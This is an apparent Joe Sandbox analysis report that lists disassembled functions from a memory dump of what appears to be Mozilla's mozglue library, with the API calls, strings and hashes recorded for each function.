Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BCB03D4,?), ref: 6BD0B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6BD0B9A5

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 3a741656721c22d9e353050936d1acaf6d93790d19d7dd47ce7789932e21fb7d
Instruction ID: 5a6d94977bb037eccd3ba858452ed57be704c9b3b2972667601098001c0866aa
Opcode Fuzzy Hash: 3a741656721c22d9e353050936d1acaf6d93790d19d7dd47ce7789932e21fb7d
Instruction Fuzzy Hash: 2C41A771E04619DFDF04CFA9D881ADEB7B6EF88324F14413AE505AB344EB749D458B90

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BD2F760), ref: 6BCB19BD
GetCurrentProcess.KERNEL32 ref: 6BCB19E5
GetLastError.KERNEL32 ref: 6BCB1A27
moz_xmalloc.MOZGLUE(?), ref: 6BCB1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BCB1A4F
GetLastError.KERNEL32 ref: 6BCB1A92
moz_xmalloc.MOZGLUE(?), ref: 6BCB1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BCB1ABA
LocalFree.KERNEL32(?), ref: 6BCB1C69
free.MOZGLUE(?), ref: 6BCB1C8F
free.MOZGLUE(?), ref: 6BCB1C9D
CloseHandle.KERNEL32(?), ref: 6BCB1CAE
ReleaseSRWLockExclusive.KERNEL32(6BD2F760), ref: 6BCB1D52
GetLastError.KERNEL32 ref: 6BCB1DA5
GetLastError.KERNEL32 ref: 6BCB1DFB
GetLastError.KERNEL32 ref: 6BCB1E49
GetLastError.KERNEL32 ref: 6BCB1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCB1E9B

Part of subcall function 6BCB2070: LoadLibraryW.KERNEL32(combase.dll,6BCB1C5F), ref: 6BCB20AE
Part of subcall function 6BCB2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BCB20CD
Part of subcall function 6BCB2070: __Init_thread_footer.LIBCMT ref: 6BCB20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCB1F15
VerSetConditionMask.NTDLL ref: 6BCB1F46
VerSetConditionMask.NTDLL ref: 6BCB1F52
VerSetConditionMask.NTDLL ref: 6BCB1F59
VerSetConditionMask.NTDLL ref: 6BCB1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCB1F6D

Strings

D, xrefs: 6BCB1B57

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 0ded5cc12f46a146de63d58f1ca2c4941b17624edf41f2e681592ba321d948e1
Instruction ID: 356cbc6cece33eaf4a530eca0311e2442b7f445b91ce1f01226148487c09a1e4
Opcode Fuzzy Hash: 0ded5cc12f46a146de63d58f1ca2c4941b17624edf41f2e681592ba321d948e1
Instruction Fuzzy Hash: A7F18271D217659BEB109F75CD48B9AB7B4FF49711F004199EA05AB240E778DE80CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BCCBB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6BCCBC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6BCCBC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6BCCBC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCCBE33
VerSetConditionMask.NTDLL ref: 6BCCBE65
VerSetConditionMask.NTDLL ref: 6BCCBE71
VerSetConditionMask.NTDLL ref: 6BCCBE7D
VerSetConditionMask.NTDLL ref: 6BCCBE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCCBE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BCCBEE4
VerSetConditionMask.NTDLL ref: 6BCCBF15
VerSetConditionMask.NTDLL ref: 6BCCBF21
VerSetConditionMask.NTDLL ref: 6BCCBF2D
VerSetConditionMask.NTDLL ref: 6BCCBF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCCBF47

Part of subcall function 6BD0AAE0: GetCurrentThreadId.KERNEL32 ref: 6BD0AAF8
Part of subcall function 6BD0AAE0: EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCBF9F), ref: 6BD0AB08
Part of subcall function 6BD0AAE0: LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB6B

free.MOZGLUE(00000000), ref: 6BCCBFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6BCCC014

Part of subcall function 6BD0AC20: CreateFileW.KERNEL32 ref: 6BD0AC52
Part of subcall function 6BD0AC20: CreateFileMappingW.KERNEL32 ref: 6BD0AC7D
Part of subcall function 6BD0AC20: GetSystemInfo.KERNEL32 ref: 6BD0AC98
Part of subcall function 6BD0AC20: MapViewOfFile.KERNEL32 ref: 6BD0ACB0
Part of subcall function 6BD0AC20: GetSystemInfo.KERNEL32 ref: 6BD0ACCD
Part of subcall function 6BD0AC20: MapViewOfFile.KERNEL32 ref: 6BD0AD05
Part of subcall function 6BD0AC20: UnmapViewOfFile.KERNEL32 ref: 6BD0AD1C
Part of subcall function 6BD0AC20: CloseHandle.KERNEL32 ref: 6BD0AD28
Part of subcall function 6BD0AC20: UnmapViewOfFile.KERNEL32 ref: 6BD0AD37
Part of subcall function 6BD0AC20: CloseHandle.KERNEL32 ref: 6BD0AD43

Part of subcall function 6BD0AE70: GetCurrentThreadId.KERNEL32 ref: 6BD0AE85
Part of subcall function 6BD0AE70: EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCC034), ref: 6BD0AE96
Part of subcall function 6BD0AE70: LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,6BCCC034), ref: 6BD0AEBD

Strings

LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6BCCBDDD
LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6BCCBF5B
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6BCCBFCF
accelerator.dll, xrefs: 6BCCBC8E, 6BCCBC9D

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: 7d50c2103edf373a301b103fe86523a4364040b89766515462e93112904a612c
Instruction ID: f8e8dde4572d1b7213682e69d2af31753c5a2048c873f079d6e2fb2278925f38
Opcode Fuzzy Hash: 7d50c2103edf373a301b103fe86523a4364040b89766515462e93112904a612c
Instruction Fuzzy Hash: 0FE12770A143489BE7108F64C881B6FB7E5EFA5714F04492DE9858B281FB78EA44C7A3

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6BCB4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BCB41F1
VerSetConditionMask.NTDLL ref: 6BCB4223
VerSetConditionMask.NTDLL ref: 6BCB422A
VerSetConditionMask.NTDLL ref: 6BCB4231
VerSetConditionMask.NTDLL ref: 6BCB4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BCB4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6BCB4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6BCB427A
FreeLibrary.KERNEL32(?), ref: 6BCB4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6BCB42C4
VerSetConditionMask.NTDLL ref: 6BCB42F6
VerSetConditionMask.NTDLL ref: 6BCB4302
VerSetConditionMask.NTDLL ref: 6BCB4309
VerSetConditionMask.NTDLL ref: 6BCB4310
VerSetConditionMask.NTDLL ref: 6BCB4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6BCB4324

Strings

SetProcessDpiAwareness, xrefs: 6BCB4274
Shcore.dll, xrefs: 6BCB425E

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: f3c1ad8be8b530ef0f125948bca512688a973cebc274dfcfb9eb254633ea9dc1
Instruction ID: 734156b075afa53cad0cd195df5b01f5ce28700f36faeabe37396fbf53265773
Opcode Fuzzy Hash: f3c1ad8be8b530ef0f125948bca512688a973cebc274dfcfb9eb254633ea9dc1
Instruction Fuzzy Hash: A8510571A582146BFB105B74CD09BAEB768EF86B50F054529FA059F1C0EB78DE40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEFAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEFADC
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEFAE9
GetCurrentThreadId.KERNEL32 ref: 6BCEFB31
GetCurrentThreadId.KERNEL32 ref: 6BCEFB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6BCEFBF6
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEFC50

Strings

[D %d/%d] profiler_unregister_thread: %s, xrefs: 6BCEFC94
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6BCEFD15

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 6347bb4de6a3c2c1f6572b828d6d1edf08c345b950d54f53e514cb5b7a1472ae
Instruction ID: 32820cd1bce1a4c9faa9d6914227947bd4ac74878d074088d79f194e276a4f07
Opcode Fuzzy Hash: 6347bb4de6a3c2c1f6572b828d6d1edf08c345b950d54f53e514cb5b7a1472ae
Instruction Fuzzy Hash: 8871F171915780CFE710CF28D445B5AB7E0FF85708F11496AEA498B351F778EA06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E768,?,00003000,00000004), ref: 6BCA3AC5
LeaveCriticalSection.KERNEL32(6BD2E768,?,00003000,00000004), ref: 6BCA3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6BCA3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BCA3B57
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3B81
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3BA3
EnterCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3BAE
LeaveCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3C74
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3C8B
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3C9F
LeaveCriticalSection.KERNEL32(6BD2E7B8), ref: 6BCA3D5C
EnterCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3D67
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3D8A

Part of subcall function 6BCE0D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BCA3DEF), ref: 6BCE0D71
Part of subcall function 6BCE0D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BCA3DEF), ref: 6BCE0D84

Strings

MOZ_CRASH(), xrefs: 6BCA3DB2
: (malloc) Error in VirtualFree(), xrefs: 6BCA3DCC
<jemalloc>, xrefs: 6BCA3DC7

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: ccc98b6295cb45ae9323015da1701a962d7b2e87351fffb31cd464d91c99f78d
Instruction ID: cd7b469a3c5c9746393db2c3a7fccf4098febbf24fad750ffc2624ae4affe4db
Opcode Fuzzy Hash: ccc98b6295cb45ae9323015da1701a962d7b2e87351fffb31cd464d91c99f78d
Instruction Fuzzy Hash: F191B271F212468BDB14CF78C8E176AB7B2BBC6724B104269E6119F3C1E779DA00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6BCB1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BCB1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6BCB12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6BCB1327

Strings

MZx, xrefs: 6BCB11E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6BCB120D
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6BCB131B
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6BCB12AD
&, xrefs: 6BCB126B

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: a82390c1a972030083cb46d7a8abb8ac3a193c66fa629a049a84ef3212c1af9c
Instruction ID: 7a4fb32ec7c15954ca622cc92082c8308d5fcedf028661c3233864de49745a49
Opcode Fuzzy Hash: a82390c1a972030083cb46d7a8abb8ac3a193c66fa629a049a84ef3212c1af9c
Instruction Fuzzy Hash: 95719F71E257648BDB148F78C8017DEB7F5BF45309F0406AAD545A7240FB786B88CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BCA3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BCA3236
FreeLibrary.KERNEL32 ref: 6BCA324B
__Init_thread_footer.LIBCMT ref: 6BCA3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BCA327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCA328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCA32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BCA32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BCA32F7

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

__aulldiv.LIBCMT ref: 6BCA346B

Strings

KernelBase.dll, xrefs: 6BCA3212
QueryInterruptTime, xrefs: 6BCA3230

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: d07be0bb9eea7accb9f356bda05246728ca5ecae9b3197454c0d6b1cb5c5993e
Instruction ID: fcd58e4e9428d69444e9a08d5ed7cf73cc4784579f6095c2a3cbdc4b5c79a0f7
Opcode Fuzzy Hash: d07be0bb9eea7accb9f356bda05246728ca5ecae9b3197454c0d6b1cb5c5993e
Instruction Fuzzy Hash: 9D6101719187418BD721CF38C46261AF7E4FFC6350F218B1EEAA6A7291EB34D645CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB3A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6BCB3BB4
ReleaseSRWLockShared.KERNEL32 ref: 6BCB3BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6BCB3BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6BCB3C91
ReleaseSRWLockShared.KERNEL32 ref: 6BCB3CBD
moz_xmalloc.MOZGLUE ref: 6BCB3CF1

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 71b54971b1e69a973c0ea1e5f9d9945496e6138a6db8c960a814ead4d090b7d3
Instruction ID: ad808afc6cc37f9b25f0963817454c8b808edd15c58d1a264e0d275985d78485
Opcode Fuzzy Hash: 71b54971b1e69a973c0ea1e5f9d9945496e6138a6db8c960a814ead4d090b7d3
Instruction Fuzzy Hash: A6C19EB0914741CFC724CF68C08465AFBF5BF89314F158AAED9998B305E738E985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEEB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BCEEBAC

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEEBC1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000), ref: 6BCEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BCEEBE5
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,00000000), ref: 6BCEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEC46
CloseHandle.KERNEL32(?), ref: 6BCEEC55
free.MOZGLUE(00000000), ref: 6BCEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BCEEA9B
[I %d/%d] profiler_start, xrefs: 6BCEEBB4

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 5f10215cf61c821537852a9bab6aeae677729a9d3fb85cdbb44f591f8f3a21ec
Instruction ID: 8e8ef5d141c61163368f6102a0a55f21000b93382ffa84501bfcb15aa95315a9
Opcode Fuzzy Hash: 5f10215cf61c821537852a9bab6aeae677729a9d3fb85cdbb44f591f8f3a21ec
Instruction Fuzzy Hash: F811E471810655DFEF005F74D849A5ABB64EF45378F004222FF199B280E7BADA06CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCDF2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BCDD9DB), ref: 6BCDF2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6BCDF2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6BCDF386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCDF347

Part of subcall function 6BCBCA10: malloc.MOZGLUE(?), ref: 6BCBCA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BCDF3C8
free.MOZGLUE(00000000,00000000), ref: 6BCDF3F3
free.MOZGLUE(00000000,00000000), ref: 6BCDF3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6BCDF413

Strings

ntdll.dll, xrefs: 6BCDF2F0

